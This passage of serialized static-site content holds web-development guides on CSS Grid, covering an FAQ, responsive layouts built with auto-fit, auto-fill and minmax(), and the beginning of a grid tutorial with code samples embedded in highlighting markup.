aside\"",[1560,63536,2228],{"class":1570},[1560,63538,63539,63541,63543,63545,63547],{"class":1562,"line":2507},[1560,63540,32235],{"class":1576},[1560,63542,1663],{"class":1570},[1560,63544,13566],{"class":1576},[1560,63546,1670],{"class":1669},[1560,63548,2228],{"class":1570},[1560,63550,63551,63553,63555,63557,63559],{"class":1562,"line":2524},[1560,63552,32698],{"class":1576},[1560,63554,1663],{"class":1570},[1560,63556,18114],{"class":1576},[1560,63558,32705],{"class":1669},[1560,63560,2228],{"class":1570},[1560,63562,63563],{"class":1562,"line":2529},[1560,63564,1585],{"class":1570},[11,63566,296],{"id":295},[33,63568,63570],{"id":63569},"when-should-i-use-css-grid-instead-of-flexbox","When should I use CSS Grid instead of Flexbox?",[16,63572,63573],{},"Use Grid when you need to control both rows and columns at the same time — page layouts, dashboards, and galleries. Use Flexbox for one-directional layouts — navigation bars, toolbars, and centered content. Many layouts combine both: Grid for the page structure, Flexbox for the components inside each grid area.",[33,63575,63577],{"id":63576},"what-does-the-fr-unit-do","What does the fr unit do?",[16,63579,421,63580,63582,63583,63586],{},[143,63581,61016],{}," unit distributes available space proportionally after fixed tracks and gaps are calculated. With ",[143,63584,63585],{},"1fr 2fr 1fr",", the middle column gets twice as much space as each outer column. Think of it as flex-grow for grid tracks.",[33,63588,63590],{"id":63589},"can-i-make-a-css-grid-responsive-without-media-queries","Can I make a CSS Grid responsive without media queries?",[16,63592,63593,63594,63597],{},"Yes. Use ",[143,63595,63596],{},"repeat(auto-fill, minmax(280px, 1fr))"," for columns. The browser automatically adjusts the column count based on available width. Items wrap naturally as the viewport shrinks — no breakpoints required.",[11,63599,321],{"id":320},[41,63601,63602,63609],{},[44,63603,63604,63608],{},[98,63605,63607],{"href":63606},"\u002Fguides\u002Fcss-grid-tutorial","CSS Grid Tutorial"," — Step-by-step guide to grid areas, implicit grids, and responsive patterns",[44,63610,63611,63615],{},[98,63612,63614],{"href":63613},"\u002Fguides\u002Fcss-layout-systems","CSS Layout Systems"," — Grid vs Flexbox comparison and when to use each",[2043,63617,63618],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":63620},[63621,63622,63628,63634,63635,63640,63645],{"id":62565,"depth":337,"text":62566},{"id":62592,"depth":337,"text":62593,"children":63623},[63624,63625,63626,63627],{"id":62599,"depth":343,"text":62600},{"id":62701,"depth":343,"text":62702},{"id":62759,"depth":343,"text":62760},{"id":62813,"depth":343,"text":62814},{"id":62827,"depth":337,"text":62828,"children":63629},[63630,63631,63632,63633],{"id":62834,"depth":343,"text":62835},{"id":62986,"depth":343,"text":62987},{"id":63089,"depth":343,"text":63090},{"id":63123,"depth":343,"text":63124},{"id":285,"depth":337,"text":286},{"id":63187,"depth":337,"text":63188,"children":63636},[63637,63638,63639],{"id":59021,"depth":343,"text":59022},{"id":63370,"depth":343,"text":63371},{"id":61303,"depth":343,"text":61304},{"id":295,"depth":337,"text":296,"children":63641},[63642,63643,63644],{"id":63569,"depth":343,"text":63570},{"id":63576,"depth":343,"text":63577},{"id":63589,"depth":343,"text":63590},{"id":320,"depth":337,"text":321},"Complete guide to using our CSS Grid Generator tool to create grid layouts visually.",{"immutable":363},"\u002Fguides\u002Fcss-grid-guide",{"title":62560,"description":63646},"guides\u002Fcss-grid-guide","w-TiCL2xM-5S5Ompwc6fSt51Rpza1sSZLCDI_XYRQMo",{"id":63653,"title":63654,"body":63655,"date":2070,"description":64314,"extension":361,"meta":64315,"navigation":363,"path":64316,"readingTime":1710,"seo":64317,"stem":64318,"__hash__":64319},"guides\u002Fguides\u002Fcss-grid-responsive-layouts.md","Responsive Grid Layouts Without Media Queries",{"type":8,"value":63656,"toc":64299},[63657,63661,63664,63667,63671,63684,63751,63754,63774,63777,63781,63784,63815,63855,63864,63868,63874,63920,63923,63927,63930,63985,63991,63995,63999,64066,64070,64138,64142,64145,64217,64220,64223,64254,64256,64289,64291,64296],[11,63658,63660],{"id":63659},"the-problem-with-media-queries","The Problem With Media Queries",[16,63662,63663],{},"Traditional responsive grids use breakpoints: at 768px switch to two columns, at 1024px switch to three. This approach ties your layout to specific viewport widths instead of the available space. Components break when placed inside narrower containers, and every new device size tempts you to add another breakpoint.",[16,63665,63666],{},"CSS Grid offers an alternative: let the grid itself decide how many columns fit, based on a minimum column width. No media queries required.",[11,63668,63670],{"id":63669},"therepeat-minmaxpattern","Therepeat() + minmax()Pattern",[16,63672,63673,63674,1459,63676,63678,63679,63681,63682,8037],{},"The core technique combines ",[143,63675,63095],{},[143,63677,63165],{}," (or ",[143,63680,63144],{},"), and ",[143,63683,62755],{},[135,63685,63687],{"className":1554,"code":63686,"language":1556,"meta":141,"style":141},".grid {\n  display: grid;\n  grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));\n  gap: 24px;\n}\n",[143,63688,63689,63695,63705,63735,63747],{"__ignoreMap":141},[1560,63690,63691,63693],{"class":1562,"line":1563},[1560,63692,61873],{"class":1566},[1560,63694,1571],{"class":1570},[1560,63696,63697,63699,63701,63703],{"class":1562,"line":337},[1560,63698,12504],{"class":1576},[1560,63700,1663],{"class":1570},[1560,63702,53158],{"class":1576},[1560,63704,2228],{"class":1570},[1560,63706,63707,63709,63711,63713,63715,63717,63719,63721,63723,63725,63727,63729,63731,63733],{"class":1562,"line":343},[1560,63708,61005],{"class":1576},[1560,63710,1663],{"class":1570},[1560,63712,9442],{"class":1576},[1560,63714,1688],{"class":1570},[1560,63716,63165],{"class":1576},[1560,63718,1459],{"class":1570},[1560,63720,62152],{"class":1576},[1560,63722,1688],{"class":1570},[1560,63724,23906],{"class":1576},[1560,63726,1670],{"class":1669},[1560,63728,1459],{"class":1570},[1560,63730,3585],{"class":1576},[1560,63732,61016],{"class":1669},[1560,63734,41941],{"class":1570},[1560,63736,63737,63739,63741,63743,63745],{"class":1562,"line":365},[1560,63738,32235],{"class":1576},[1560,63740,1663],{"class":1570},[1560,63742,61489],{"class":1576},[1560,63744,1670],{"class":1669},[1560,63746,2228],{"class":1570},[1560,63748,63749],{"class":1562,"line":889},[1560,63750,1585],{"class":1570},[16,63752,63753],{},"Here is what happens:",[41,63755,63756,63764,63771],{},[44,63757,63758,63763],{},[47,63759,63760],{},[143,63761,63762],{},"minmax(280px, 1fr)"," — each column is at least 280px wide but can grow to fill available space.",[44,63765,63766,63770],{},[47,63767,63768],{},[143,63769,63165],{}," — the browser creates as many columns as fit, collapsing any empty tracks.",[44,63772,63773],{},"The grid automatically wraps items onto new rows when columns cannot fit.",[16,63775,63776],{},"On a 1200px viewport, five columns might fit. On a 600px viewport, two columns fit. On 320px, one column. All without a single media query.",[11,63778,63780],{"id":63779},"auto-fit-vs-auto-fill","auto-fit vs auto-fill",[16,63782,63783],{},"The two keywords behave identically when all grid cells are occupied. The difference appears with fewer items than available columns:",[193,63785,63786,63795],{},[196,63787,63788],{},[199,63789,63790,63792],{},[202,63791,59759],{},[202,63793,63794],{},"Behavior with empty tracks",[211,63796,63797,63806],{},[199,63798,63799,63803],{},[216,63800,63801],{},[143,63802,63144],{},[216,63804,63805],{},"Keeps empty tracks as reserved space; items stay at minimum width",[199,63807,63808,63812],{},[216,63809,63810],{},[143,63811,63165],{},[216,63813,63814],{},"Collapses empty tracks to zero width; items stretch to fill the row",[135,63816,63818],{"className":1554,"code":63817,"language":1556,"meta":141,"style":141},"\u002F* Spreads 3 items across the full width *\u002F\ngrid-template-columns: repeat(auto-fit, minmax(250px, 1fr));\n\n\u002F* Keeps 3 items at 250px each, empty space stays on the right *\u002F\ngrid-template-columns: repeat(auto-fill, minmax(250px, 1fr));\n",[143,63819,63820,63825,63836,63840,63845],{"__ignoreMap":141},[1560,63821,63822],{"class":1562,"line":1563},[1560,63823,63824],{"class":1649},"\u002F* Spreads 3 items across the full width *\u002F\n",[1560,63826,63827,63829,63831,63833],{"class":1562,"line":337},[1560,63828,61732],{"class":2484},[1560,63830,63141],{"class":1570},[1560,63832,63165],{"class":2484},[1560,63834,63835],{"class":1570},", minmax(250px, 1fr));\n",[1560,63837,63838],{"class":1562,"line":343},[1560,63839,1702],{"emptyLinePlaceholder":363},[1560,63841,63842],{"class":1562,"line":365},[1560,63843,63844],{"class":1649},"\u002F* Keeps 3 items at 250px each, empty space stays on the right *\u002F\n",[1560,63846,63847,63849,63851,63853],{"class":1562,"line":889},[1560,63848,61732],{"class":2484},[1560,63850,63141],{"class":1570},[1560,63852,63144],{"class":2484},[1560,63854,63835],{"class":1570},[16,63856,63857,63858,63860,63861,63863],{},"Most card grids and content layouts prefer ",[143,63859,63165],{}," because items stretch to fill the row evenly. Use ",[143,63862,63144],{}," when you want items to maintain their minimum size and keep consistent widths.",[11,63865,63867],{"id":63866},"choosing-the-minimum-width","Choosing the Minimum Width",[16,63869,63870,63871,63873],{},"The minimum value in ",[143,63872,62755],{}," acts as your implicit breakpoint. It determines when items wrap to the next row.",[193,63875,63876,63886],{},[196,63877,63878],{},[199,63879,63880,63883],{},[202,63881,63882],{},"Min width",[202,63884,63885],{},"Typical use case",[211,63887,63888,63896,63904,63912],{},[199,63889,63890,63893],{},[216,63891,63892],{},"200–240px",[216,63894,63895],{},"Small cards, tags, thumbnails",[199,63897,63898,63901],{},[216,63899,63900],{},"280–320px",[216,63902,63903],{},"Standard content cards",[199,63905,63906,63909],{},[216,63907,63908],{},"400–480px",[216,63910,63911],{},"Feature cards, product tiles",[199,63913,63914,63917],{},[216,63915,63916],{},"600px+",[216,63918,63919],{},"Sidebar + content layouts",[16,63921,63922],{},"A common mistake is setting the minimum too low. At 150px, items wrap very late and look cramped on medium screens. At 400px, a single column kicks in too early on tablets. Test your minimum at the actual widths your users visit.",[11,63924,63926],{"id":63925},"handling-single-column-edge-cases","Handling Single-Column Edge Cases",[16,63928,63929],{},"When the container is narrower than your minimum width — for instance, a 280px minimum on a 260px container — the grid overflows. Prevent this with a small tweak:",[135,63931,63933],{"className":1554,"code":63932,"language":1556,"meta":141,"style":141},".grid {\n  grid-template-columns: repeat(auto-fit, minmax(min(280px, 100%), 1fr));\n}\n",[143,63934,63935,63941,63981],{"__ignoreMap":141},[1560,63936,63937,63939],{"class":1562,"line":1563},[1560,63938,61873],{"class":1566},[1560,63940,1571],{"class":1570},[1560,63942,63943,63945,63947,63949,63951,63953,63955,63957,63959,63961,63963,63965,63967,63969,63971,63973,63975,63977,63979],{"class":1562,"line":337},[1560,63944,61005],{"class":1576},[1560,63946,1663],{"class":1570},[1560,63948,9442],{"class":1576},[1560,63950,1688],{"class":1570},[1560,63952,63165],{"class":1576},[1560,63954,1459],{"class":1570},[1560,63956,62152],{"class":1576},[1560,63958,1688],{"class":1570},[1560,63960,28995],{"class":1576},[1560,63962,1688],{"class":1570},[1560,63964,23906],{"class":1576},[1560,63966,1670],{"class":1669},[1560,63968,1459],{"class":1570},[1560,63970,18114],{"class":1576},[1560,63972,17990],{"class":1669},[1560,63974,18895],{"class":1570},[1560,63976,3585],{"class":1576},[1560,63978,61016],{"class":1669},[1560,63980,41941],{"class":1570},[1560,63982,63983],{"class":1562,"line":343},[1560,63984,1585],{"class":1570},[16,63986,421,63987,63990],{},[143,63988,63989],{},"min()"," function ensures the column width never exceeds the container, gracefully collapsing to a single column without horizontal scrolling.",[11,63992,63994],{"id":63993},"building-real-layouts","Building Real Layouts",[33,63996,63998],{"id":63997},"card-grid","Card Grid",[135,64000,64002],{"className":1554,"code":64001,"language":1556,"meta":141,"style":141},".card-grid {\n  display: grid;\n  grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));\n  gap: 24px;\n}\n",[143,64003,64004,64010,64020,64050,64062],{"__ignoreMap":141},[1560,64005,64006,64008],{"class":1562,"line":1563},[1560,64007,63384],{"class":1566},[1560,64009,1571],{"class":1570},[1560,64011,64012,64014,64016,64018],{"class":1562,"line":337},[1560,64013,12504],{"class":1576},[1560,64015,1663],{"class":1570},[1560,64017,53158],{"class":1576},[1560,64019,2228],{"class":1570},[1560,64021,64022,64024,64026,64028,64030,64032,64034,64036,64038,64040,64042,64044,64046,64048],{"class":1562,"line":343},[1560,64023,61005],{"class":1576},[1560,64025,1663],{"class":1570},[1560,64027,9442],{"class":1576},[1560,64029,1688],{"class":1570},[1560,64031,63165],{"class":1576},[1560,64033,1459],{"class":1570},[1560,64035,62152],{"class":1576},[1560,64037,1688],{"class":1570},[1560,64039,44009],{"class":1576},[1560,64041,1670],{"class":1669},[1560,64043,1459],{"class":1570},[1560,64045,3585],{"class":1576},[1560,64047,61016],{"class":1669},[1560,64049,41941],{"class":1570},[1560,64051,64052,64054,64056,64058,64060],{"class":1562,"line":365},[1560,64053,32235],{"class":1576},[1560,64055,1663],{"class":1570},[1560,64057,61489],{"class":1576},[1560,64059,1670],{"class":1669},[1560,64061,2228],{"class":1570},[1560,64063,64064],{"class":1562,"line":889},[1560,64065,1585],{"class":1570},[33,64067,64069],{"id":64068},"image-gallery","Image Gallery",[135,64071,64073],{"className":1554,"code":64072,"language":1556,"meta":141,"style":141},".gallery {\n  display: grid;\n  grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));\n  gap: 8px;\n}\n",[143,64074,64075,64082,64092,64122,64134],{"__ignoreMap":141},[1560,64076,64077,64080],{"class":1562,"line":1563},[1560,64078,64079],{"class":1566},".gallery",[1560,64081,1571],{"class":1570},[1560,64083,64084,64086,64088,64090],{"class":1562,"line":337},[1560,64085,12504],{"class":1576},[1560,64087,1663],{"class":1570},[1560,64089,53158],{"class":1576},[1560,64091,2228],{"class":1570},[1560,64093,64094,64096,64098,64100,64102,64104,64106,64108,64110,64112,64114,64116,64118,64120],{"class":1562,"line":343},[1560,64095,61005],{"class":1576},[1560,64097,1663],{"class":1570},[1560,64099,9442],{"class":1576},[1560,64101,1688],{"class":1570},[1560,64103,63165],{"class":1576},[1560,64105,1459],{"class":1570},[1560,64107,62152],{"class":1576},[1560,64109,1688],{"class":1570},[1560,64111,18101],{"class":1576},[1560,64113,1670],{"class":1669},[1560,64115,1459],{"class":1570},[1560,64117,3585],{"class":1576},[1560,64119,61016],{"class":1669},[1560,64121,41941],{"class":1570},[1560,64123,64124,64126,64128,64130,64132],{"class":1562,"line":365},[1560,64125,32235],{"class":1576},[1560,64127,1663],{"class":1570},[1560,64129,10078],{"class":1576},[1560,64131,1670],{"class":1669},[1560,64133,2228],{"class":1570},[1560,64135,64136],{"class":1562,"line":889},[1560,64137,1585],{"class":1570},[33,64139,64141],{"id":64140},"mixed-width-dashboard","Mixed-Width Dashboard",[16,64143,64144],{},"For layouts where one column needs a fixed width and the rest flex, combine fixed and flexible tracks:",[135,64146,64148],{"className":1554,"code":64147,"language":1556,"meta":141,"style":141},".dashboard {\n  display: grid;\n  grid-template-columns: 240px repeat(auto-fit, minmax(300px, 1fr));\n  gap: 16px;\n}\n",[143,64149,64150,64156,64166,64201,64213],{"__ignoreMap":141},[1560,64151,64152,64154],{"class":1562,"line":1563},[1560,64153,61314],{"class":1566},[1560,64155,1571],{"class":1570},[1560,64157,64158,64160,64162,64164],{"class":1562,"line":337},[1560,64159,12504],{"class":1576},[1560,64161,1663],{"class":1570},[1560,64163,53158],{"class":1576},[1560,64165,2228],{"class":1570},[1560,64167,64168,64170,64172,64174,64176,64179,64181,64183,64185,64187,64189,64191,64193,64195,64197,64199],{"class":1562,"line":343},[1560,64169,61005],{"class":1576},[1560,64171,1663],{"class":1570},[1560,64173,14865],{"class":1576},[1560,64175,1670],{"class":1669},[1560,64177,64178],{"class":1576}," repeat",[1560,64180,1688],{"class":1570},[1560,64182,63165],{"class":1576},[1560,64184,1459],{"class":1570},[1560,64186,62152],{"class":1576},[1560,64188,1688],{"class":1570},[1560,64190,44009],{"class":1576},[1560,64192,1670],{"class":1669},[1560,64194,1459],{"class":1570},[1560,64196,3585],{"class":1576},[1560,64198,61016],{"class":1669},[1560,64200,41941],{"class":1570},[1560,64202,64203,64205,64207,64209,64211],{"class":1562,"line":365},[1560,64204,32235],{"class":1576},[1560,64206,1663],{"class":1570},[1560,64208,10057],{"class":1576},[1560,64210,1670],{"class":1669},[1560,64212,2228],{"class":1570},[1560,64214,64215],{"class":1562,"line":889},[1560,64216,1585],{"class":1570},[16,64218,64219],{},"The first column stays at 240px (sidebar), while remaining columns auto-flow responsively.",[11,64221,61655],{"id":64222},"limitations",[41,64224,64225,64237,64246],{},[44,64226,64227,23567,64230,1856,64232,64234,64235,468],{},[47,64228,64229],{},"No row-based responsiveness",[143,64231,63165],{},[143,64233,63144],{}," only affect columns. Row heights are determined by content unless you set ",[143,64236,62516],{},[44,64238,64239,64242,64243,64245],{},[47,64240,64241],{},"No per-item breakpoints"," — you cannot specify \"this specific item wraps earlier.\" All items follow the same ",[143,64244,62755],{}," rule.",[44,64247,64248,23567,64251,64253],{},[47,64249,64250],{},"Fixed gutters",[143,64252,58563],{}," does not collapse, so very narrow containers may overflow if the gap plus minimum width exceeds the viewport.",[11,64255,1355],{"id":1354},[41,64257,64258,64264,64272,64277,64283,64286],{},[44,64259,64260,64263],{},[143,64261,64262],{},"repeat(auto-fit, minmax(Npx, 1fr))"," creates responsive columns without media queries.",[44,64265,64266,64268,64269,64271],{},[143,64267,63165],{}," collapses empty tracks; ",[143,64270,63144],{}," preserves them.",[44,64273,63870,64274,64276],{},[143,64275,62755],{}," acts as your implicit breakpoint.",[44,64278,1388,64279,64282],{},[143,64280,64281],{},"min(Npx, 100%)"," to prevent overflow on extremely narrow containers.",[44,64284,64285],{},"This technique only handles column responsiveness — row heights still need explicit sizing.",[44,64287,64288],{},"Combine fixed and flexible tracks for mixed-width layouts like dashboards.",[11,64290,286],{"id":285},[16,64292,64293,64294,468],{},"Build responsive grids with auto-fit and minmax() interactively using the ",[98,64295,61745],{"href":61744},[2043,64297,64298],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":64300},[64301,64302,64303,64304,64305,64306,64311,64312,64313],{"id":63659,"depth":337,"text":63660},{"id":63669,"depth":337,"text":63670},{"id":63779,"depth":337,"text":63780},{"id":63866,"depth":337,"text":63867},{"id":63925,"depth":337,"text":63926},{"id":63993,"depth":337,"text":63994,"children":64307},[64308,64309,64310],{"id":63997,"depth":343,"text":63998},{"id":64068,"depth":343,"text":64069},{"id":64140,"depth":343,"text":64141},{"id":64222,"depth":337,"text":61655},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Use auto-fit, minmax(), and auto-fill to create responsive grids that adapt to any screen.",{"immutable":363},"\u002Fguides\u002Fcss-grid-responsive-layouts",{"title":63654,"description":64314},"guides\u002Fcss-grid-responsive-layouts","JugmGiX3lUFL6iYZdTb2ZCfXRC6j2Y9pRkRvVwzdoRw",{"id":64321,"title":63607,"body":64322,"date":2070,"description":65848,"extension":361,"meta":65849,"navigation":363,"path":63606,"readingTime":1710,"seo":65850,"stem":65851,"__hash__":65852},"guides\u002Fguides\u002Fcss-grid-tutorial.md",{"type":8,"value":64323,"toc":65825},[64324,64328,64331,64338,64403,64409,64413,64416,64420,64481,64484,64488,64493,64538,64541,64545,64550,64591,64595,64598,64659,64662,64666,64669,64761,64776,64780,64785,64969,64975,64979,64985,65029,65031,65037,65076,65153,65158,65162,65164,65166,65259,65262,65264,65267,65371,65377,65381,65384,65508,65513,65517,65523,65661,65667,65671,65674,65748,65798,65800,65807,65809,65822],[11,64325,64327],{"id":64326},"getting-started-with-css-grid","Getting Started with CSS Grid",[16,64329,64330],{},"CSS Grid is a two-dimensional layout system that controls both rows and columns simultaneously. It replaces float-based layouts, table hacks, and inline-block workarounds with a declarative model the browser handles natively.",[16,64332,64333,64334,64337],{},"To activate Grid, set ",[143,64335,64336],{},"display: grid"," on a container. Its direct children become grid items.",[135,64339,64341],{"className":1554,"code":64340,"language":1556,"meta":141,"style":141},".grid-container {\n  display: grid;\n  grid-template-columns: 1fr 1fr 1fr;\n}\n\n.grid-item {\n  \u002F* Each item occupies one cell by default *\u002F\n}\n",[143,64342,64343,64349,64359,64379,64383,64387,64394,64399],{"__ignoreMap":141},[1560,64344,64345,64347],{"class":1562,"line":1563},[1560,64346,62643],{"class":1566},[1560,64348,1571],{"class":1570},[1560,64350,64351,64353,64355,64357],{"class":1562,"line":337},[1560,64352,12504],{"class":1576},[1560,64354,1663],{"class":1570},[1560,64356,53158],{"class":1576},[1560,64358,2228],{"class":1570},[1560,64360,64361,64363,64365,64367,64369,64371,64373,64375,64377],{"class":1562,"line":343},[1560,64362,61005],{"class":1576},[1560,64364,1663],{"class":1570},[1560,64366,3585],{"class":1576},[1560,64368,61016],{"class":1669},[1560,64370,18868],{"class":1576},[1560,64372,61016],{"class":1669},[1560,64374,18868],{"class":1576},[1560,64376,61016],{"class":1669},[1560,64378,2228],{"class":1570},[1560,64380,64381],{"class":1562,"line":365},[1560,64382,1585],{"class":1570},[1560,64384,64385],{"class":1562,"line":889},[1560,64386,1702],{"emptyLinePlaceholder":363},[1560,64388,64389,64392],{"class":1562,"line":1710},[1560,64390,64391],{"class":1566},".grid-item",[1560,64393,1571],{"class":1570},[1560,64395,64396],{"class":1562,"line":1717},[1560,64397,64398],{"class":1649},"  \u002F* Each item occupies one cell by default *\u002F\n",[1560,64400,64401],{"class":1562,"line":1747},[1560,64402,1585],{"class":1570},[16,64404,64405,64406,64408],{},"Only direct children participate in the grid. Nested elements need their own ",[143,64407,64336],{}," if you want sub-grid behavior.",[11,64410,64412],{"id":64411},"grid-template-columns-and-grid-template-rows","grid-template-columns and grid-template-rows",[16,64414,64415],{},"These properties define the track structure — the columns and rows of your grid.",[33,64417,64419],{"id":64418},"fixed-sizes","Fixed Sizes",[135,64421,64423],{"className":1554,"code":64422,"language":1556,"meta":141,"style":141},".grid-container {\n  display: grid;\n  grid-template-columns: 200px 300px 200px;\n  grid-template-rows: 100px 400px;\n}\n",[143,64424,64425,64431,64441,64461,64477],{"__ignoreMap":141},[1560,64426,64427,64429],{"class":1562,"line":1563},[1560,64428,62643],{"class":1566},[1560,64430,1571],{"class":1570},[1560,64432,64433,64435,64437,64439],{"class":1562,"line":337},[1560,64434,12504],{"class":1576},[1560,64436,1663],{"class":1570},[1560,64438,53158],{"class":1576},[1560,64440,2228],{"class":1570},[1560,64442,64443,64445,64447,64449,64451,64453,64455,64457,64459],{"class":1562,"line":343},[1560,64444,61005],{"class":1576},[1560,64446,1663],{"class":1570},[1560,64448,18101],{"class":1576},[1560,64450,1670],{"class":1669},[1560,64452,32452],{"class":1576},[1560,64454,1670],{"class":1669},[1560,64456,58847],{"class":1576},[1560,64458,1670],{"class":1669},[1560,64460,2228],{"class":1570},[1560,64462,64463,64465,64467,64469,64471,64473,64475],{"class":1562,"line":365},[1560,64464,61023],{"class":1576},[1560,64466,1663],{"class":1570},[1560,64468,18114],{"class":1576},[1560,64470,1670],{"class":1669},[1560,64472,25038],{"class":1576},[1560,64474,1670],{"class":1669},[1560,64476,2228],{"class":1570},[1560,64478,64479],{"class":1562,"line":889},[1560,64480,1585],{"class":1570},[16,64482,64483],{},"Columns stay at exactly 200px, 300px, and 200px. Not responsive, but useful for fixed-width layouts.",[33,64485,64487],{"id":64486},"flexible-sizes-with-fr","Flexible Sizes with fr",[16,64489,421,64490,64492],{},[143,64491,61016],{}," unit distributes remaining space proportionally:",[135,64494,64496],{"className":1554,"code":64495,"language":1556,"meta":141,"style":141},".grid-container {\n  display: grid;\n  grid-template-columns: 1fr 2fr 1fr;\n}\n",[143,64497,64498,64504,64514,64534],{"__ignoreMap":141},[1560,64499,64500,64502],{"class":1562,"line":1563},[1560,64501,62643],{"class":1566},[1560,64503,1571],{"class":1570},[1560,64505,64506,64508,64510,64512],{"class":1562,"line":337},[1560,64507,12504],{"class":1576},[1560,64509,1663],{"class":1570},[1560,64511,53158],{"class":1576},[1560,64513,2228],{"class":1570},[1560,64515,64516,64518,64520,64522,64524,64526,64528,64530,64532],{"class":1562,"line":343},[1560,64517,61005],{"class":1576},[1560,64519,1663],{"class":1570},[1560,64521,3585],{"class":1576},[1560,64523,61016],{"class":1669},[1560,64525,9426],{"class":1576},[1560,64527,61016],{"class":1669},[1560,64529,18868],{"class":1576},[1560,64531,61016],{"class":1669},[1560,64533,2228],{"class":1570},[1560,64535,64536],{"class":1562,"line":365},[1560,64537,1585],{"class":1570},[16,64539,64540],{},"The middle column gets twice the space of each outer column. This is the most common pattern for responsive grids.",[33,64542,64544],{"id":64543},"repeat-notation","repeat() Notation",[16,64546,64547,64548,8037],{},"Save keystrokes with ",[143,64549,63095],{},[135,64551,64553],{"className":1554,"code":64552,"language":1556,"meta":141,"style":141},"\u002F* Equivalent declarations *\u002F\ngrid-template-columns: 1fr 1fr 1fr 1fr;\ngrid-template-columns: repeat(4, 1fr);\n\n\u002F* With minmax *\u002F\ngrid-template-columns: repeat(auto-fill, minmax(250px, 1fr));\n",[143,64554,64555,64560,64566,64572,64576,64581],{"__ignoreMap":141},[1560,64556,64557],{"class":1562,"line":1563},[1560,64558,64559],{"class":1649},"\u002F* Equivalent declarations *\u002F\n",[1560,64561,64562,64564],{"class":1562,"line":337},[1560,64563,61732],{"class":2484},[1560,64565,63113],{"class":1570},[1560,64567,64568,64570],{"class":1562,"line":343},[1560,64569,61732],{"class":2484},[1560,64571,63120],{"class":1570},[1560,64573,64574],{"class":1562,"line":365},[1560,64575,1702],{"emptyLinePlaceholder":363},[1560,64577,64578],{"class":1562,"line":889},[1560,64579,64580],{"class":1649},"\u002F* With minmax *\u002F\n",[1560,64582,64583,64585,64587,64589],{"class":1562,"line":1710},[1560,64584,61732],{"class":2484},[1560,64586,63141],{"class":1570},[1560,64588,63144],{"class":2484},[1560,64590,63835],{"class":1570},[33,64592,64594],{"id":64593},"mixing-units","Mixing Units",[16,64596,64597],{},"Combine fixed and flexible tracks in one declaration:",[135,64599,64601],{"className":1554,"code":64600,"language":1556,"meta":141,"style":141},".grid-container {\n  display: grid;\n  grid-template-columns: 260px 1fr 1fr;\n  grid-template-rows: auto 1fr 